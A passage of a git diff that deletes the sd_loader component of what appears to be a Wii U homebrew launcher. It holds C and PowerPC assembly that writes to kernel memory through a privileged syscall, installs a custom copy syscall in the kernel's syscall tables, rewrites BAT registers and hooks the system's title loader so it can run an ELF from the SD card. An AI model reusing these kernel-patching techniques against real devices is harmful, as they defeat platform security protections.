fd, void *buffer, int error); - EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - - EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); -} private_data_t; - -static void (*DCFlushRange)(void *addr, unsigned int size); -static void (*DCInvalidateRange)(void *addr, unsigned int size); -static void (*ICInvalidateRange)(void *addr, unsigned int size); -static unsigned int hook_LiWaitOneChunk; -static unsigned int addrphys_LiWaitOneChunk; - -extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); -extern void my_PrepareTitle_hook(void); - -/* Write a 32-bit word with kernel permissions */ -static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access with cache inhibited to write through and read directly from memory - */ - unsigned int dbatu0, dbatl0, dbatu1, dbatl1; - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); - asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); - - unsigned int target_dbatu0 = 0; - unsigned int target_dbatl0 = 0; - unsigned int target_dbatu1 = 0; - unsigned int target_dbatl1 = 0; - - unsigned int *dst_p = (unsigned int*)addr; - unsigned int *src_p = (unsigned int*)src; - - // we only need DBAT modification for addresses out of our own DBAT range - // as our own DBAT is available everywhere for user and supervisor - // since our own DBAT is on DBAT5 position we don't collide here - if(addr < 0x00800000 || addr >= 0x01000000) - { - target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = (addr & 0xFFF00000) | 0x32; - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); - } - if(src < 0x00800000 || src >= 0x01000000) - { - target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = (src & 0xFFF00000) | 0x32; - - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); - } - - asm volatile("eieio; isync"); - - unsigned int i; - for(i = 0; i < len; i += 4) - { - // if we are on the edge to next chunk - if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) - { - target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; - dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - asm volatile("eieio; isync"); - } - if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) - { - target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; - src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - asm volatile("eieio; isync"); - } - - *dst_p = *src_p; - - ++dst_p; - ++src_p; - } - - /* - * Restore original DBAT value - */ - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); - asm volatile("eieio; isync"); -} - -// This function is called every time after LiBounceOneChunk. -// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address -// and return the still remaining bytes to load. -// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. -static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) -{ - unsigned int result; - register int core_id; - int remaining_bytes = 0; - - int sgFileOffset; - int sgBufferNumber; - int *sgBounceError; - int *sgGotBytes; - int *sgTotalBytes; - int *sgIsLoadingBuffer; - int *sgFinishedLoadingBuffer; - - // get the current core - asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); - - // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) - unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime1 = Loader_GetSystemTime(); - - if(OS_FIRMWARE == 550) - { - // pointer to global variables of the loader - loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgTotalBytes = &loader_globals->sgTotalBytes; - sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; - // not available on 5.5.x - sgIsLoadingBuffer = NULL; - } - else - { - // pointer to global variables of the loader - loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; - // not available on < 5.5.x - sgTotalBytes = NULL; - sgFinishedLoadingBuffer = NULL; - } - - // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data - if(gDynloadInitialized != 0) { - result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); - - } - else { - result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); - } - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime2 = Loader_GetSystemTime(); - - //------------------------------------------------------------------------------------------------------------------ - // Start of our function intrusion: - // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, - // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 - // Do this only if we are in the game that was launched by our method - s_mem_area *mem_area = MEM_AREA_TABLE; - if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) - { - unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); - unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 - - remaining_bytes = ELF_DATA_SIZE - sgFileOffset; - if (remaining_bytes > 0x400000) - // truncate size - remaining_bytes = 0x400000; - - DCFlushRange((void*)load_address, remaining_bytes); - - u32 rpxBlockPos = 0; - u32 done = 0; - u32 mapOffset = 0; - - while((done < (u32)sgFileOffset) && mem_area) - { - if((done + mem_area->size) > (u32)sgFileOffset) - { - mapOffset = sgFileOffset - done; - done = sgFileOffset; - } - else - { - done += mem_area->size; - mem_area = mem_area->next; - } - } - - while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) - { - u32 address = mem_area->address + mapOffset; - u32 blockSize = ELF_DATA_SIZE - done; - - if(blockSize > (0x400000 - rpxBlockPos)) - { - blockSize = 0x400000 - rpxBlockPos; - } - if((mapOffset + blockSize) >= mem_area->size) - { - blockSize = mem_area->size - mapOffset; - //! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy - //! it makes smaller code then if(mapOffset == mem_area->size) after copy - mapOffset = -blockSize; - mem_area = mem_area->next; - } - - SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); - done += blockSize; - rpxBlockPos += blockSize; - mapOffset += blockSize; - } - - DCInvalidateRange((void*)load_address, remaining_bytes); - - if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) - { - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - // set result to 0 -> "everything OK" - result = 0; - } - - // end of our little intrusion into this function - //------------------------------------------------------------------------------------------------------------------ - - // set the result to the global bounce error variable - if(sgBounceError) { - *sgBounceError = result; - } - - // disable global flag that buffer is still loaded by IOSU - if(sgFinishedLoadingBuffer) - { - unsigned int zeroBitCount = 0; - asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); - *sgFinishedLoadingBuffer = zeroBitCount >> 5; - } - else if(sgIsLoadingBuffer) - { - *sgIsLoadingBuffer = 0; - } - - // check result for errors - if(result == 0) - { - // the remaining size is set globally and in stack variable only - // if a pointer was passed to this function - if(iRemainingBytes) { - if(sgGotBytes) { - *sgGotBytes = remaining_bytes; - } - - *iRemainingBytes = remaining_bytes; - - // on 5.5.x a new variable for total loaded bytes was added - if(sgTotalBytes) { - *sgTotalBytes += remaining_bytes; - } - } - // Comment (Dimok): - // calculate time difference and print it on logging how long the wait for asynchronous data load took - // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap - } - else { - // Comment (Dimok): - // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P - } - return result; -} - -void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) -{ - if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) - { - xmlKernelInfo->max_size = RPX_MAX_SIZE; - xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; - //! setup our hook to LiWaitOneChunk for RPX loading - hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; - KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } - else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ - { - //! restore original LiWaitOneChunk instruction as our RPX is done - MAIN_ENTRY_ADDR = 0xDEADC0DE; - KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } -} - -static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) -{ - int iFd = -1; - void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); - if(!pClient) - return 0; - - void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); - if(!pCmd) - { - private_data->MEMFreeToDefaultHeap(pClient); - return 0; - } - - int success = 0; - private_data->FSInit(); - private_data->FSInitCmdBlock(pCmd); - private_data->FSAddClientEx(pClient, 0, -1); - - do - { - char tempPath[FS_MOUNT_SOURCE_SIZE]; - char mountPath[FS_MAX_MOUNTPATH_SIZE]; - - int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); - if (status != 0) { - private_data->OSFatal("FSGetMountSource failed."); - } - status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); - if(status != 0) { - private_data->OSFatal("SD mount failed."); - } - - status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); - if(status != 0) { - private_data->OSFatal("FSOpenFile failed."); - } - - FSStat stat; - stat.size = 0; - - void *pBuffer = NULL; - - private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); - else - private_data->OSFatal("ELF file empty."); - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - if(done != stat.size) - { - private_data->MEMFreeToDefaultHeap(pBuffer); - } - else - { - *fileOut = (unsigned char*)pBuffer; - *sizeOut = stat.size; - success = 1; - } - - private_data->FSCloseFile(pClient, pCmd, iFd, -1); - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - } - while(0); - - private_data->FSDelClient(pClient); - private_data->MEMFreeToDefaultHeap(pClient); - private_data->MEMFreeToDefaultHeap(pCmd); - return success; -} - -static void setup_patches(private_data_t *private_data) -{ - //! setup necessary syscalls and hooks for HBL - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData); - - //! store physical address for later use - addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk); - - u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003; - DCFlushRange(&addr_my_PrepareTitle_hook, 4); - - //! create our copy syscall - SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4); - -} - -static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) -{ - Elf32_Ehdr *ehdr; - Elf32_Phdr *phdrs; - unsigned char *image; - int i; - - ehdr = (Elf32_Ehdr *) elfstart; - - if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) - return 0; - - if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) - return 0; - - phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff); - - for(i = 0; i < ehdr->e_phnum; i++) - { - if(phdrs[i].p_type != PT_LOAD) - continue; - - if(phdrs[i].p_filesz > phdrs[i].p_memsz) - continue; - - if(!phdrs[i].p_filesz) - continue; - - unsigned int p_paddr = phdrs[i].p_paddr; - image = (unsigned char *) (elfstart + phdrs[i].p_offset); - - private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); - DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); - - if(phdrs[i].p_flags & PF_X) - ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz); - } - - //! clear BSS - Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff); - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') - { - private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); - } - else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') - { - private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); - } - } - - return ehdr->e_entry; -} - -static void loadFunctionPointers(private_data_t * private_data) -{ - unsigned int coreinit_handle; - - EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); - EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - - OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; - OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; - - OSDynLoad_Acquire("coreinit", &coreinit_handle); - - unsigned int *functionPtr = 0; - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); - private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); - private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; - - OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); - OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); - OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); - - OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); - OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); - OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); - OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); - OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); - OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); - OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); - - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); -} - -int _start(int argc, char **argv) -{ - private_data_t private_data; - - if(MAIN_ENTRY_ADDR != 0xC001C0DE) - { - loadFunctionPointers(&private_data); - - while(1) - { - if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) - { - //! copy data to safe area before processing it - unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); - if(pElfBuffer) - { - private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); - - } - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - } - - if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) - { - //! setup necessary syscalls and hooks for HBL before launching it - setup_patches(&private_data); - - if(HBL_CHANNEL) - { - break; - } - else - { - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) - { - private_data.OSFatal("Failed to load homebrew_launcher.elf"); - } - else - { - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - if(MAIN_ENTRY_ADDR == 0) - { - private_data.OSFatal("Failed to load homebrew_launcher.elf"); - } - else - { - private_data.MEMFreeToDefaultHeap(pElfBuffer); - } - } - } - } - else - { - int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); - //! exit to miimaker and restart application on re-enter of another application - if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) - { - break; - } - //! exit to homebrew launcher in all other cases - else - { - MAIN_ENTRY_ADDR = 0xDEADC0DE; - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(0); - break; - } - } - } - } - - int ret = ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); - - //! if an application returns and was an RPX launch then launch HBL again - if(MAIN_ENTRY_ADDR == 0xC001C0DE) - { - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(0); - } - return ret; -} diff --git a/sd_loader/src/fs_defs.h b/sd_loader/src/fs_defs.h deleted file mode 100644 index 9edc5cb..0000000 --- a/sd_loader/src/fs_defs.h +++ /dev/null @@ -1,62 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/sd_loader/src/kernel_defs.h b/sd_loader/src/kernel_defs.h deleted file mode 100644 index a1cce49..0000000 --- a/sd_loader/src/kernel_defs.h +++ /dev/null @@ -1,75 +0,0 @@ -#ifndef __KERNEL_DEFS_H_ -#define __KERNEL_DEFS_H_ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// original structure in the kernel that is originally 0x1270 long -typedef struct -{ - uint32_t version_cos_xml; // version tag from cos.xml - uint64_t os_version; // os_version from app.xml - uint64_t title_id; // title_id tag from app.xml - uint32_t app_type; // app_type tag from app.xml - uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) - char rpx_name[0x1000]; // rpx name from cos.xml - uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) - uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 - uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app - uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) - uint32_t max_codesize; // max_codesize in cos.xml - uint32_t overlay_arena; // overlay_arena in cos.xml - uint32_t unknown4[59]; // all zeros it seems - uint32_t default_stack0_size; // not sure because always 0 but very likely - uint32_t default_stack1_size; // not sure because always 0 but very likely - uint32_t default_stack2_size; // not sure because always 0 but very likely - uint32_t default_redzone0_size; // not sure because always 0 but very likely - uint32_t default_redzone1_size; // not sure because always 0 but very likely - uint32_t default_redzone2_size; // not sure because always 0 but very likely - uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker - uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker - uint32_t title_version; // from app.xml, 0x32 on mii maker - /* - // --------------------------------------------------------------------------------------------------------------------------------------------- - // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... - // --------------------------------------------------------------------------------------------------------------------------------------------- - char mlc[4]; // string "mlc" on mii maker and sysmenu - uint32_t unknown5[7]; // all zeros on mii maker and sysmenu - uint32_t unknown6_one; // 0x01 on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char ACP[4]; // string "ACP" on mii maker and sysmenu - uint32_t unknown7[15]; // all zeros on mii maker and sysmenu - uint32_t unknown8_5; // 0x05 on mii maker and sysmenu - uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char UVD[4]; // string "UVD" on mii maker and sysmenu - uint32_t unknown11[15]; // all zeros on mii maker and sysmenu - uint32_t unknown12_5; // 0x05 on mii maker and sysmenu - uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char SND[4]; // string "SND" on mii maker and sysmenu - uint32_t unknown15[15]; // all zeros on mii maker and sysmenu - uint32_t unknown16_5; // 0x05 on mii maker and sysmenu - uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu - */ - // after that only zeros follow -} __attribute__((packed)) CosAppXmlInfo; - - -#ifdef __cplusplus -} -#endif - -#endif // __KERNEL_DEFS_H_ diff --git a/sd_loader/src/kernel_hooks.S b/sd_loader/src/kernel_hooks.S deleted file mode 100644 index 0d7f11f..0000000 --- a/sd_loader/src/kernel_hooks.S +++ /dev/null @@ -1,69 +0,0 @@ -# This stuff may need a change in different kernel versions -# This is only needed when launched directly through browser and not SD card. - -.section ".kernel_code" - .globl SaveAndResetDataBATs_And_SRs_hook -SaveAndResetDataBATs_And_SRs_hook: - # setup CTR to the position we need to return to - mflr r5 - mtctr r5 - # set link register to its original value - mtlr r7 - # setup us a nice DBAT for our code data with same region as our code - mfspr r5, 560 - mtspr 570, r5 - mfspr r5, 561 - mtspr 571, r5 - # restore the original kernel instructions that we replaced - lwz r5, 0x34(r3) - lwz r6, 0x38(r3) - lwz r7, 0x3C(r3) - lwz r8, 0x40(r3) - lwz r9, 0x44(r3) - lwz r10, 0x48(r3) - lwz r11, 0x4C(r3) - lwz r3, 0x50(r3) - isync - mtsr 7, r5 - # jump back to the position in kernel after our patch (from LR) - bctr - -.extern my_PrepareTitle - .globl my_PrepareTitle_hook -my_PrepareTitle_hook: - # store all registers on stack to avoid issues with the call to C functions - stwu r1, -0x90(r1) - # registers for our own usage - # just store everything - stmw r3, 0x10(r1) - - # save the LR from where we came - mflr r31 - - # the cos.xml/app.xml structure is at the location 0x68 of r11 - # there are actually many places that can be hooked for it - # e.g. 0xFFF16130 and r27 points to this structure - addi r3, r11, 0x68 - - bl my_PrepareTitle - - # setup LR to jump back to kernel code - mtlr r31 - - # restore all original values of registers from stack - lmw r3, 0x10(r1) - - # restore the stack - addi r1, r1, 0x90 - - # restore original instruction that we replaced in the kernel - clrlwi r7, r12, 0 - - # jump back - blr - - .globl SC0x25_KernelCopyData -SC0x25_KernelCopyData: - li r0, 0x2500 - sc - blr diff --git a/sd_loader/src/link.ld b/sd_loader/src/link.ld deleted file mode 100644 index 1d82ead..0000000 --- a/sd_loader/src/link.ld +++ /dev/null @@ -1,23 +0,0 @@ -OUTPUT(sd_loader.elf); - -ENTRY(_start); - -SECTIONS { - . = 0x00800000; - .text : { - *(.kernel_code*); - *(.text*); - /* Tell linker to not garbage collect this section as it is not referenced anywhere */ - KEEP(*(.kernel_code*)); - } - .data : { - *(.rodata*); - *(.data*); - *(.bss*); - } - /DISCARD/ : { - *(*); - } -} - -ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1300, "Memory overlapping with main elf."); diff --git a/sd_loader/src/loader_defs.h b/sd_loader/src/loader_defs.h deleted file mode 100644 index b71514f..0000000 --- a/sd_loader/src/loader_defs.h +++ /dev/null @@ -1,38 +0,0 @@ -#ifndef __LOADER_DEFS_H_ -#define __LOADER_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -// struct holding the globals of the loader (there are actually more but we don't need others) -typedef struct _loader_globals_t -{ - int sgIsLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_t; - -typedef struct _loader_globals_550_t -{ - int 